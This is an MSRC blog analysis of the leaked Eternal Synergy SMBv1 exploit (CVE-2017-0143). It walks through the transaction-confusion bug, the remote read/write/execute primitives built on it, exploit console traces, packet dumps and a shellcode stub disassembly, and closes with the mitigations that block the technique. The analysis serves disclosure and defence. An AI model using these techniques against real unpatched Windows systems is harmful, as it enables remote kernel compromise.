Skip to main content
MSRC

Eternal Synergy Exploit Analysis

Introduction

Recently we announced a series of blog posts dissecting the exploits released by the ShadowBrokers in April 2017; specifically some of the less explored exploits. This week we are going to take a look at Eternal Synergy, an SMBv1 authenticated exploit. This one is particularly interesting because many of the exploitation steps are purely packet-based, as opposed to local shellcode execution. Like the other SMB vulnerabilities, this one was also addressed in MS17-010 as CVE-2017-0143. The exploit works up to Windows 8, but does not work as written against any newer platforms.

This post has four main parts. We will deep-dive into the vulnerability, followed by a discussion of how the vulnerability was weaponized to create Read/Write/eXecute primitives that are used as building blocks throughout the exploit. We will then next walk through the execution of EternalSynergy and see how these primitives were used to deliver a full exploit. Finally, we will briefly discuss the effect of recent mitigations on the presented exploit techniques.

The Vulnerability: CVE-2017-0143

The root cause of this vulnerability stems from not taking the command type of an SMB message into account when determining if the message is part of a transaction. In other words, as long as the SMB header UID, PID, TID and OtherInfo fields match the corresponding transaction fields, the message would be considered to be part of that transaction.

Usually, the OtherInfo field stores a MID. In the case of SMB_COM_WRITE_ANDX messages, however, it stores a FID instead. This creates a potential message type confusion: Given an existing SMB_COM_WRITE_ANDX transaction, an incoming SMB message with MID equal to the transaction FID would be included in the transaction.

PTRANSACTION
SrvFindTransaction (
    IN PCONNECTION Connection,
    IN PSMB_HEADER Header,
    IN USHORT Fid OPTIONAL
    )
{
    ...

    //
    // If this is a multipiece transaction SMB, the MIDs of all the pieces
    // must match.  If it is a multipiece WriteAndX protocol the pieces
    // using the FID.
    //

    if (Header->Command == SMB_COM_WRITE_ANDX) {
        <mark>targetOtherInfo = Fid;</mark>
    } else {
        <mark>targetOtherInfo = SmbGetAlignedUshort( &Header->Mid );</mark>
    }

    ...

    //
    // Walk the transaction list, looking for one with the same
    // identity as the new transaction.
    //

    for ( listEntry = Connection->PagedConnection->TransactionList.Flink;
          listEntry != &Connection->PagedConnection->TransactionList;
          listEntry = listEntry->Flink ) {

        thisTransaction = CONTAINING_RECORD(
                            listEntry,
                            TRANSACTION,
                            ConnectionListEntry
                            );

        if ( ( <mark>thisTransaction->Tid == SmbGetAlignedUshort( &Header->Tid</mark> ) ) &&
             ( <mark>thisTransaction->Pid == SmbGetAlignedUshort( &Header->Pid</mark> ) ) &&
             ( <mark>thisTransaction->Uid == SmbGetAlignedUshort( &Header->Uid</mark> ) ) &&
             ( <mark>thisTransaction->OtherInfo == targetOtherInfo</mark> ) ) {

            ...

            // A transaction with the same identity has been found

            ...
        }
...
}

Exploitation

When a SMB message arrives, the appropriate handler will copy its contents into the corresponding transaction buffer, namely InData. The SMB_COM_TRANSACTION_SECONDARY handler assumes that the InData address points to the start of the buffer.

if ( dataCount != 0 ) {
    RtlMoveMemory(
        <mark>transaction->InData + dataDisplacement</mark>,
        (PCHAR)header + dataOffset,
        dataCount
        );
}

However, in the case of a SMB_COM_WRITE_ANDX transaction, each time a SMB is received for that transaction, the InData address is updated to point to the end of the existing data.

 RtlCopyMemory(<mark>transaction->InData</mark>, writeAddress, writeLength );

//
// Update the transaction data pointer to where the next
// WriteAndX data buffer will go.
//

<mark>transaction->InData += writeLength;</mark>

Leveraging the packet confusion, an attacker can insert a SMB_COM_TRANSACTION_SECONDARY message into a SMB_COM_WRITE_ANDX transaction. In that case, the InData will point past the start of the buffer, and so the SMB_COM_TRANSACTION_SECONDARY handler can overflow the buffer during copying the incoming message data.

Taking Over a Transaction

The building block for the RWX primitives used in the exploit takes over a transaction structure by exploiting the message confusion described in the previous section. First, a ‘control’ transaction is allocated via a SMB_COM_TRANSACTION client message.

Control Transaction
InData Buffer
Victim Transaction
InData
InData
Pointer

kd> dt srv!TRANSACTION 0xfffff8a00167f010
   ...
   +0x080 InData           : <mark>0xfffff8a0`0167f110</mark>
   +0x088 OutData          : (null)
   ...
   +0x0a4 DataCount        : 0x0
   +0x0a8 TotalDataCount   : 0x5100
   ...
   +0x0ba Tid              : 0x800
   +0x0bc Pid              : 0xab9e
   +0x0be Uid              : 0x800
   +0x0c0 OtherInfo        : 0x4000

Then, an SMB_COM_WRITE_ANDX message is sent, crafted to exploit the packet confusion. As a result, the InData pointer of the control transaction is corrupted to point past the start of the buffer. In this case it is off by 0x200. bytes.

kd> dt srv!TRANSACTION 0xfffff8a00167f010
   ...
   +0x080 InData           : <mark>0xfffff8a0`0167f310</mark>
   +0x088 OutData          : (null)
   ...
   +0x0a4 DataCount        : 0x200
   +0x0a8 TotalDataCount   : 0x5100
   ...
   +0x0ba Tid              : 0x800
   +0x0bc Pid              : 0xab9e
   +0x0be Uid              : 0x800
   +0x0c0 OtherInfo        : 0x4000

Next, an SMB_COM_TRANSACTION_SECONDARY message is sent to the same transaction, and by leveraging the corrupted InData pointer it modifies a neighboring, ‘victim’ transaction. We revisit below how the target write address is computed.

if ( dataCount != 0 ) {
    RtlMoveMemory(
        transaction->InData + dataDisplacement,
        (PCHAR)header + dataOffset,
        dataCount
        );
}

The incoming message dataDisplacement is large enough to reach the neighboring transaction.

kd> dv dataDisplacement
dataDisplacement = 0x5020

transaction to InData += writeLength inData Buffer

Specifically, it will overwrite a transaction’s OtherInfo field with an attacker-controlled value (in this case 0), so that all future messages sent using MID=0 will be directed to the victim transaction. Below we see the victim transaction just before the overwrite happens.

 kd> dt srv!TRANSACTION 0xfffff8a00167f310+0x5020-0xc0
   ...
   +0x080 InData           : 0xfffff8a0`0168436c
   +0x088 OutData          : 0xfffff8a0`01684ffc
   ...
   +0x0ba Tid              : 0x800
   +0x0bc Pid              : 0xab9f
   +0x0be Uid              : 0x800
   +0x0c0 OtherInfo        : 0x8ccb

After taking over a victim transaction, the exploit can predictably continue corrupting fields within the same or other transactions, and reliably trigger them by sending a message to the transaction. Note that for this technique to work, the attacker must be able to predictably allocate a pair of neighboring transactions.

Remote Arbitrary Write Primitive

The Arbitrary Write Primitive allows the attacker to modify memory contents on the victim system, and serves as the foundation for the rest of the techniques used in this exploit. To corrupt memory, it leverages the technique described in the previous section. Specifically, the Write Primitive is constructed in two steps:

Remote Arbitrary Write Primitive diagram

In Step #1 , the victim transaction InData buffer address is overwritten such that it points to the target write address.

the victim transaction InData buffer address is overwritten such that it points to the target write address

Next in Step #2 , the attacker can overwrite arbitrary kernel memory by sending a to the victim transaction. Upon receiving the message, its contents will be copied to the InData buffer; however, in our case the buffer address was corrupted and so the contents are copied to the attacker-controlled address. Below is an example packet, where the shellcode contained in the ‘Extra byte parameters’ will be copied over to the victim machine.

example packet, where the shellcode contained in the &lsquo;Extra byte parameters&rsquo; will be copied over to the victim machine

Remote Arbitrary Read Primitive

The Arbitrary Read Primitive allows the attacker to remotely read the contents of any memory address from the target system. To use this primitive, the attacker must have successfully:

  • Taken over a connection, and established the write primitive, as explained above.
  • Leaked a valid TRANSACTION structure

As seen in Figure 6, we have a control transaction adjacent to a Victim#1 transaction for the write primitive and a Victim#2 transaction. Message#1 uses the write primitive to corrupt the Victim#1 InData buffer address so that it points to the Victim#2 base address. That means that any message directed to the Victim#1 transaction will result in corrupting the Victim#2 transaction at the offset specified by the message’s ‘Data Displacement’ field. Victim#2 is the leaked TRANSACTION structure and its base address can be inferred by its contents.

control transaction adjacent to a Victim#1 transaction OutData

The rest of the messages contain the Transaction Secondary command (0x26), and use the same TID, PID and UID. Messages #2-5 target the Victim#1 transaction (MID=0) and perform overwriting of specific fields of the Victim#2 transaction. The table below summarizes the modifications made by each message:

Msg# Offset Transaction Field Overwrite Value
5 0x001 BlockHeader.State 0x2
3 0x054 Timeout 0x40000023
2 0x088 OutData Attacker-specified address (e.g. 0xfffff88004b78150)
2 0x090 SetupCount 0x4
2 0x094 MaxSetupCount 0x0
2 0x098 ParameterCount 0x0
2 0x09c TotalParameterCount 0x0
2 0x0a0 MaxParameterCount 0x10
2 0x0a4 DataCount 0x0
2 0x0a8 TotalDataCount 0x0
2 0x0ac MaxDataCount 0x20000
4 0x0e3 Executing 0x0

Figure 7 - List of the Victim#2 transaction fields that are corrupted during an Arbitrary Read operation

As an example, below is the message sent to execute a remote read operation. The payload is specified in the ‘Extra byte parameters’, the target address in the ‘Data Displacement’ and the size in the ‘Data Count’ field.

payload is specified in the &lsquo;Extra byte parameters&rsquo;

Message #5 is a dummy packet has a non-zero MID targeting the Victim#2 transaction, sent to trigger the server response. During that response message, contents of the memory address of the corrupted DataOut pointer are copied out and sent back to the SMB client. An example of this type of message is seen below:

dummy packet has a non-zero MID targeting the Victim#2 transaction

Code Execution

The techniques discussed in the previous sections operate on memory; the exploit still needs a way to alter control flow and invoke execution in a repeatable way. The exploit achieves this by corrupting pointers to SMB message handlers.

First, it uses the write primitive to overwrite entry 0xe of the srv!SrvTransaction2DispatchTable, with the address of the execution target. This is a dispatch table that contains pointers to SMB message handlers. This particular entry, targeting the TRANS2_SESSION_SETUP subcommand handler, is convenient since it is not implemented, and thus, not expected to be used by “normal” SMB traffic. Details on how this global pointer is discovered and leaked back to the attacker are presented in the next section.

Next, a message of type SMB_COM_TRANSACTION2 and subcommand set to TRANS2_SESSION_SETUP is sent to the victim, triggering the execution of the corrupted function pointer. The target transaction of this message is not important. An example packet is seen below.

message of type <code>SMB_COM_TRANSACTION2</code> and subcommand set to <code>TRANS2_SESSION_SETUP</code> is sent to the victim

Putting It All Together

In this section, we walk through the exploit and see how the above building blocks combine to achieve remote kernel code execution.

Message that says: Attempting info leak&hellip; leak successfull

Packet response

In this phase, a TRANSACTION structure is leaked from the victim machine. This structure is used in two ways. First, it contains pointers (e.g. EndpointSpinLock) that serve as the base for discovering other useful addresses. Second, it is used as a Victim#2 transaction, since in order to build a Read primitive the attacker needs the details of a valid TRANSACTION structure. The method used to leak the pointer is similar to the one described in the Eternal Champion exploit.

Below, are the contents of the SMB_COM_TRANSACTION message containing leaked pool memory. The leaked TRANSACTION structure starts at offset 0xb0. We can see that it contains, among other things, the transaction TID, PID, UID and OtherInfo. Also, pointers such as InData (offset 0x130) allow the attacker to determine the base memory address of the transaction.

0000   ff 53 4d 42 a0 00 00 00 00 98 03 c0 00 00 00 00  .SMB............
0010   00 00 00 00 00 00 00 00 00 08 37 ca 00 08 56 15  ..........7...V.
0020   12 00 00 00 04 00 00 00 c0 10 00 00 00 00 00 00  ................
0030   48 00 00 00 04 00 00 00 58 01 00 00 48 00 00 00  H.......X...H...
0040   b8 10 00 00 00 59 01 00 fc 84 36 3a 10 77 98 5a  .....Y....6:.w.Z
0050   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0060   00 01 02 03 46 72 61 67 00 00 00 00 00 00 00 00  ....Frag........
0070   20 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00   Q..............
0080   02 01 01 00 46 72 65 65 00 00 00 00 00 00 00 00  ....Free........
0090   01 01 eb 03 4c 53 74 72 30 a1 07 00 83 fa ff ff  ....LStr0.......
00a0   8c 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00b0   0c 02 8c 0e 00 00 00 00 d0 2d e6 00 83 fa ff ff  .........-......
00c0   90 bb e5 00 83 fa ff ff d0 2d 46 02 a0 f8 ff ff  .........-F.....
00d0   d0 8d 41 02 a0 f8 ff ff 48 00 56 02 a0 f8 ff ff  ..A.....H.V.....
00e0   48 c0 55 02 a0 f8 ff ff 00 00 00 00 00 00 00 00  H.U.............
00f0   00 00 02 00 00 00 00 00 68 b2 57 02 a0 f8 ff ff  ........h.W.....
0100   6d 39 00 00 ff ff ff ff 00 00 00 00 00 00 00 00  m9..............
0110   6c b2 57 02 a0 f8 ff ff 00 00 00 00 00 00 00 00  l.W.............
0120   6c b2 57 02 a0 f8 ff ff fc b2 57 02 a0 f8 ff ff  l.W.......W.....
0130  <mark>6c b2 57 02 a0 f8 ff ff</mark> fc bf 57 02 a0 f8 ff ff  l.W.......W.....
0140   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0150   00 0d 00 00 00 00 00 00 90 00 00 00 00 00 00 00  ................
0160   00 00 00 00 01 01 00 00 00 00 <mark>00 08</mark><mark>37 ca</mark> <mark>00 08</mark>  ............7...
0170   5a 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00  Z...............
0180   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0190   01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

[*] Performing initial groom, this may take some time
8 Sending 2 groom packets done
Sending 48 bride packets&hellip;&hellip;. done

SMB 125 Trans Request
SMB 93 Trans Response
SMB 125 Trans Request
SMB 93 Trans Response
SMB 196 Trans Request
SMB 93 Trans Response
SMB 93 Trans Response
SMB 196 Trans Request
SMB 93 Trans Response
SMB 93 Trans Response
SMB 196 Trans Request
SMB 93 Trans Response
SMB 93 Trans Response
SMB 121 Trans Request
SMB 93 Trans Response

A series of SMB_COM_TRANSACTION messages are sent in order to allocate a pair of neighboring control-victim transactions. Specifically, “groom” packets contain SMB messages crafted to create the packet confusion, or in other words, eligible to be a control transaction. “Bride” packets create transactions that are candidates for corruption, that is, victim transactions.

Entering Danger Zone
[*] Sending exploit transaction
[[[ Exploit ]]]-&gt;[?] &hellip;Win
[+] Successfully took over a transaction! Time for fun!
&ndash;| Leaving Danger Zone |&ndash;

SMB 630 Write AndX Request, FID: 0x4000, 512 bytes at offset 0
SMB 105 Write AndX Response, FID: 0x4000, 512 bytes

The exploit takes control of a neighboring victim transaction to be used for the R/W primitives.

[*] Attempting to find remote SRV module Reading from CONNECTION struct at: 0xFFFFFA8302355B90
[+] Found SRV global data pointer: 0xFFFFF88004878F50
[+] Locating function tables&hellip;
[+] Transaction2Dispatch Table at: 0xFFFFF88004B78920

The read primitive is exercised multiple times, in order to discover the location of the srv!SrvTransaction2DispatchTable global pointer, used trigger shellcode execution.

[*] Beginning quest for executable memory&hellip;
[+] PreferredWorkQueue: FFFFFA8302302300
[+] IrpThread: FFFFFA8302288400
[+] KProcess: FFFFFA8300081040
[+] ProcessListEntry. Blink: FFFFF80284754C80
[+] Searching backwards..
[+] Base of Nt: FFFFF80284483000
[+] Found RWX memory!!! FFFFF802846F4000

SMB 164 Trans Secondary Request
SMB 340 Trans Secondary Request
SMB 634 Trans Response
SMB 164 Trans Secondary Request
SMB 340 Trans Secondary Request
SMB 634 Trans Response
SMB 164 Trans Secondary Request
SMB 340 Trans Secondary Request
SMB 634 Trans Response

The read primitive is again exercised multiple times to discover the base of ntoskrnl.exe. The RWX memory found above is used as a scratch page, where shellcode is written and executed and return values are stored. This page exists due to a RWX section in the ntoskrnl.exe. It is worth noting that ntoskrnl.exe on Windows 8.1 and above does not have an RWX section.

kd> ?? 0xfffff802846f4000-0xfffff80284483000
unsigned int64 <mark>0x271000</mark>

kd> !dh nt -s
SECTION HEADER #3
  RWEXEC name
    1000 virtual size
  <mark>271000</mark> virtual address
       0 size of raw data
       0 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
E80000A0 flags
         Code
         Uninitialized Data
         Not Paged
         (no align specified)
         <mark>Execute Read Write</mark>

[<em>] Copying code to target
[+] Backdoor shellcode written
[</em>] Triggering stub allocator
[+] Backdoor function pointer overwritten
[+] Cleared RWX region

SMB 132 Trans Secondary Request
SMB 409 Trans2 Request, SESSION_SETUP
SMB 114 Trans2 Response, SESSION_SETUP [transact continuation]
SMB 126 Trans2 Request, SESSION_SETUP
SMB 114 Trans2 Response, SESSION_SETUP [transact continuation]
SMB 132 Trans Secondary Request
SMB 450 Trans Secondary Request
SMB 130 Trans Response
SMB 132 Trans Secondary Request
SMB 865 Trans Secondary Request
SMB 487 Trans2 Request, SESSION_SETUP
SMB 114 Trans2 Response, SESSION_SETUP [transact continuation]

This is when shellcode is copied and executed on the victim machine. First, using the write primitive, the exploit shellcode is copied to the scratch page. This shellcode is only a stub function that allocates memory in the pool, using nt!ExAllocatePoolWithTag. Then, a SMB_COM_TRANSACTION2 message is sent to execute the shellcode. The return value is saved at a fixed offset on the scratch page and leaked back to the attacker using the Read Primitive. We can see the stub function below:

;
; Retrieve the _KPRCB structure
;
fffff802`846f400 65488b042520000000 mov   rax,qword ptr gs:[20h]

;
; Access the PPNxPagedLookasideList.AllocateEx member
;
fffff802`846f4009 4805b0080000       add     rax,8B0h
fffff802`846f400f 31c9               xor     ecx,ecx

;
; Set NumberOfBytes (0xe4b) for size argument
;
fffff802`846f4011 8b151e000000       mov     edx,dword ptr [fffff802`846f4035]
fffff802`846f4017 4883ec20           sub     rsp,20h

;
; Call nt!ExAllocatePoolWithTag
;
fffff802`846f401b ff10               call    qword ptr [rax]
fffff802`846f401d 4883c420           add     rsp,20h

;
; Check for errors
;
fffff802`846f4021 85c0               test    eax,eax
fffff802`846f4023 7407               je      fffff802`846f402c

;
; Save the allocated memory address
;
fffff802`846f4025 48890501000000     mov     qword ptr [fffff802`846f402d],rax
fffff802`846f402c c3                 ret

Lastly, the scratch page is cleared, the attacker-provided shellcode is written to the pool-allocated page and a message is sent to trigger execution.

Impact of Mitigations on Exploit

The techniques used in this exploit as-written are not directly applicable to newer platforms due to several kernel security improvements. In particular:

  1. Hypervisor-enforced Code Integrity (HVCI) prevents unsigned kernel pages from being executed, and prevents attackers from copying and executing code, even in the presence of RWX memory.
  2. Control Flow Guard (CFG) prevents invalid indirect function calls, such as calling a corrupted function pointer, a technique used in this exploit to trigger code execution.

Final Words

I’d like to thank the following people for their work during the initial investigation of CVE-2017-0143: Swamy Shivaganga Nagaraju, Nicolas Joly (MSRC Vulnerabilities & Mitigations Team) and Viktor Brange (Windows Offensive Security Research Team).

Georgios Baltas MSRC Vulnerabilities & Mitigations Team


How satisfied are you with the MSRC Blog?

Rating

Feedback * (required)

Your detailed feedback helps us improve your experience. Please enter between 10 and 2,000 characters.

Thank you for your feedback!

We'll review your input and work on improving the site.